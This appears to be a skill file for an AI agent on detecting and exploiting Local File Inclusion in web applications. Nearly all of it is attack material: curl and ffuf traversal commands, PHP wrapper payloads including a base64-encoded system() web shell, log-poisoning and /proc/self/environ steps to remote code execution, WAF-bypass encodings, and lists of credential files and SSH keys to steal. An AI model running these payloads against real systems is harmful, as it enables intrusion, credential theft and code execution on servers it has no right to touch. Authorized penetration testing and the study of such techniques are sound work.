exploit-lfi

Local File Inclusion (LFI) Detection and Exploitation

Overview

This Skill focuses onLocal File Inclusion (LFI) detection and exploitation of this type of vulnerability.

LFI vulnerabilities occur when an application uses user input directly as a file path or includes files without proper validation. Attackers can read sensitive files or execute arbitrary code through path traversal or wrappers.

Difference from exploit-file-download：

• LFI: the parameter value is included by include() or saved as file content, impact = code execution (RCE)
• File download: the parameter value is used to download a file locally, impact = information disclosure

---

Core Features

1. LFI Vulnerability Detection

Automatically identify the following LFI characteristics:

• Parameter pattern recognition: file、page、include、dir、document、path、content、title, etc.
• File inclusion patterns: the parameter value is used directly as include() orrequire() file path
• Directory traversal patterns: ../ sequences used to traverse directories
• Wrapper exploitation: php://filter、php://input、data:、expect:// , etc.
• Response feature analysis: identify Linux/Windows file content characteristics

2. Automatic Operating System Detection

Automatically identify the target OS during testing:

OS	Characteristic file	Test path
Linux	/etc/passwd content:root:x:0:0:	/etc/passwd, /etc/shadow
Windows	C:\Windows\win.ini content:[fonts], [extensions]	C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts

3. Common LFI Payloads

Type	Payload	Applicable scenario
Path traversal	?title=../../../etc/passwd	Basic directory traversal
Wrapper reading	?file=php://filter/convert.base64-encode/resource=/etc/passwd	Read sensitive file source code
Data injection	?file=data://text/plain;base64,PD9waHAgc3l...	Code injection
Command execution	?file=expect://ls	RCE (requires expect extension)

4. LFI Exploitation Scenarios

• Source code reading: use php://filter to read PHP source code for analysis
• Configuration retrieval: read database configuration files to obtain credentials
• Log poisoning: obtain RCE by writing to logs through LFI
• Temporary files: combined with file upload to getshell
• /proc/self/environ: achieve RCE through environment variable injection

---

Tool Installation

Essential Tools

# curl - HTTP 请求工具（通常已预装）
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

---

Usage

Quick Start

# 基础 LFI 测试 - 路径遍历
curl -s "https://target.com/page.php?file=../../../etc/passwd"

# 测试伪协议
curl -s "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

Common Testing Scenarios

1. Basic Path Traversal

# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"

2. Wrapper Exploitation

# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d

# 读取 PHP 源码（避免代码执行）
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d

# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"

3. Log Poisoning RCE

# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"

# 步骤 2: 等待日志写入后包含日志文件
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"

# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"

4. /proc/self/environ Exploitation

# 步骤 1: 在 User-Agent 注入代码
curl -A "<?php system(\$_GET['c']); ?>" "https://target.com/page.php"

# 步骤 2: 包含环境变量文件
curl "https://target.com/page.php?file=/proc/self/environ&c=id"

# 查看当前进程环境
curl "https://target.com/page.php?file=/proc/self/cmdline"

5. Temporary File Race

# 上传包含 PHP 代码的图片
curl -F "avatar=@shell.gif.php" "https://target.com/upload.php"

# 快速枚举临时文件
for i in {1..100}; do
  curl "https://target.com/vul.php?file=/tmp/php$i";
done

---

Tool Selection Guide

Scenario	Recommended tool	Command example
Quick single-point test	curl	curl "URL?file=../etc/passwd"
Batch payload testing	ffuf	ffuf -u URL -w payloads.txt
Deep testing	Custom script	See the deep testing script below
Response analysis	grep/diff	grep -i "root:x:0" response.txt

Deep Testing Script

#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度

URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}

for i in $(seq 1 $MAX_DEPTH); do
    payload=$(printf '../%.0s' $(seq 1 $i))
    response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")

    if echo "$response" | grep -q "root:x:0:0"; then
        echo "[+] 成功！深度：$i"
        echo "$response"
        break
    fi
    echo "[-] 深度 $i: 未匹配"
done

---

Test Checklist

Reconnaissance Phase

• Identify all parameters that may have LFI (file, page, title, include, etc.)
• Test basic path traversal (../)
• Confirm the target operating system (Linux/Windows)
• Test wrapper availability (php://filter)

Exploitation Phase

• Read sensitive system files (/etc/passwd, /etc/shadow)
• Read web application configuration files (.env, config.php)
• Read PHP source code to analyze application logic
• Attempt log poisoning to gain RCE
• Attempt /proc/self/environ exploitation
• Attempt temporary file race condition exploitation

Bypass Testing

• URL encoding bypass (%2e%2e%2f)
• Double URL encoding (%252e%252e%252f)
• Unicode obfuscation (%c0%ae%c0%ae%c0%af)
• Path variants (.., ..//, ..././)
• Null byte truncation (%00)
• Extension bypass (file.php.jpg, file.php.)

---

Sensitive File Paths

Linux

# 系统用户
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow
/etc/sudoers

# Web 配置
/var/www/html/wp-config.php
/var/www/html/.env
/var/www/html/config/database.yml
/var/www/html/application/config/parameters.yml

# SSH 密钥
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
/root/.ssh/authorized_keys

# 日志
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog

Windows

# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\config\SAM

# Web 配置
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\.env
C:\xampp\htdocs\config.php

# IIS 日志
C:\inetpub\logs\LogFiles\

---

LFI Payload Checklist

Basic Payload

../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/

Encoded Payload

%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c

PHP Wrappers

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php

---

Alternatives

If the primary tools are unavailable, you can use the following alternatives:

Primary Tool	Alternative	Description
curl	wget	wget -qO- "URL" Equivalent tocurl -s "URL"
ffuf	gobuster	gobuster dir -u URL -w payloads.txt
ffuf	dirsearch	dirsearch -u URL -e php

---

References

• Technical Documentation: references/lfi_techniques.md - Complete LFI technical guide
• PHP Wrappers: references/php_wrappers.md - PHP wrapper reference
• Bypass Techniques: references/bypass_techniques.md - Encoding and filter bypass
• RCE Methods: references/rce_methods.md - Remote code execution summary

---

Integration with results-storage

After discovering an LFI vulnerability, it can be stored in the database:

python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/download?file=../../etc/passwd" \
  --payload "../../etc/passwd" \
  --file-read "root:x:0:0:root:/root:/bin/bash" \
  --severity Critical \
  --subsystem "Web Application"

Database Location: ./data/results.db

Related Skills: results-storage - Query data, generate reports

---

Best Practices

1. Always Encode Payloads - Use URL encoding to avoid being blocked by WAF
2. Test from Shallow to Deep - Test 1-2 levels of traversal first, then gradually go deeper
3. Record Response Length - Successful responses usually have abnormal lengths
4. Use base64 - Use base64 when reading source code to avoid code execution
5. Do Not Ignore 403/404 - Some WAFs return fake error codes

---

Authorization Statement

This Skill is only for authorized security testing. Before use, please ensure:

• Obtain explicit written authorization from the owner of the target system
• The testing scope and authorization content have been clearly defined
• Comply with local laws and regulations

Unauthorized penetration testing is illegal.

---

Last Updated: 2026-03-05 Version: 2.0